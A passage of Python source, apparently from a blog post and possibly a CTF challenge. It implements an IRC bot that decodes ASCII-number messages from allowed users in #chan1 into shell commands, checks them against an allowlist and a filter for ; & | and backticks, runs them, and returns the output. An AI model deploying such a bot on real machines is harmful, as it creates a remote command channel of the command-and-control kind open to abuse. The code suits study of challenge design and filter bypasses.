def start_chan6_timer(self):
if self.chan6_timer:
self.chan6_timer.cancel()
self.chan6_timer = threading.Timer(180.0, self.send_chan6_message)
self.chan6_timer.start()

def send_chan6_message(self):
try:
if self.connection.is_connected():
self.connection.privmsg("#chan6", "My friends and I are chatting on it, but we all follow the formatting requirements. Finally, we need to:) End")
print("[*] Timed reminder has been sent #chan6")
except Exception as e:
print(f"[!] Sending timed notification failed:{str(e)}")
finally:
self.start_chan6_timer()

def on_disconnect(self, connection, event):
if self.chan6_timer:
self.chan6_timer.cancel()
self.chan6_timer = None
super().on_disconnect(connection, event)

def on_pubmsg(self, connection, event):
channel = event.target
user = event.source.nick
message = event.arguments[0]

# 检测所有命令频道的消息
if channel in self.command_channels and self.command_pattern.search(message):
print(f"[*] Received command:{message} (From users:{user})")

# 格式验证(所有频道通用)
cmd_part = message.rsplit(':)', 1)[0].strip()
if not self.number_regex.match(cmd_part):
connection.privmsg(user, "[!] Format error or presence of illegal characters")
return

# 非#chan1频道直接返回权限错误
if channel != self.command_channel:
connection.privmsg(user, "[!] Error: Command execution not allowed")
return

# #chan1专属执行流程
if self.validate_command(user):
try:
numbers = list(map(int, cmd_part.split()))
for num in numbers:
if num < 0 or num > 255:
raise ValueError("[-] Number range exceeds(0-255)")
ascii_cmd = ''.join([chr(n) for n in numbers])
except ValueError as e:
connection.privmsg(user, f"[!] conversion error :{str(e)}")
return

if not self.is_command_allowed(ascii_cmd):
connection.privmsg(user, f"[!] Wrong command: '{ascii_cmd.split()[0]}' unauthorized!")
return

result = self.execute_command(ascii_cmd)
if result:
safe_result = result.replace('\n', ' ').replace('\r', '')
try:
connection.privmsg(user, f"[+] COMMAND EXECUTION:{safe_result}")
except irc.client.InvalidCharacters:
connection.privmsg(user, "[!] Format error or presence of illegal characters")
else:
connection.privmsg(user, "[!] Format error or presence of illegal characters")

def is_command_allowed(self, command):
parts = command.strip().split()
if not parts:
return False
main_cmd = parts[0]
return (
main_cmd in self.allowed_commands and
not re.search(r'[;&|`]', command)
)

def execute_command(self, command):
try:
parts = command.strip().split()
output = subprocess.check_output(
parts,
stderr=subprocess.STDOUT,
universal_newlines=True,
timeout=10
)
return output.strip()[:400].replace('\r', '').replace('\n', ' ')
except subprocess.CalledProcessError as e:
return f"[!] Command execution failed:{e.output.strip()}"
except Exception as e:
return f"[-] Error:{str(e)}"

def validate_command(self, user):
return user in self.allowed_users

def run_bot():
server = "PyCrt"
port = 6667
nickname = "admin"
channels = ["#chan1", "#chan2", "#chan3", "#chan4", "#chan5", "#chan6"]
command_channel = "#chan1"

while True:
try:
print("[*] Starting IRC server...")
bot = IRCBot(server, port, nickname, channels, command_channel)
bot.start()
except KeyboardInterrupt:
print("\n[!] user exit")
if bot.chan6_timer:
bot.chan6_timer.cancel()
break
except Exception as e:
print(f"[!] Exception occurred:{str(e)},Try again in 5 seconds...")
time.sleep(5)

if __name__ == "__main__":
run_bot()

总字数 546.8k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务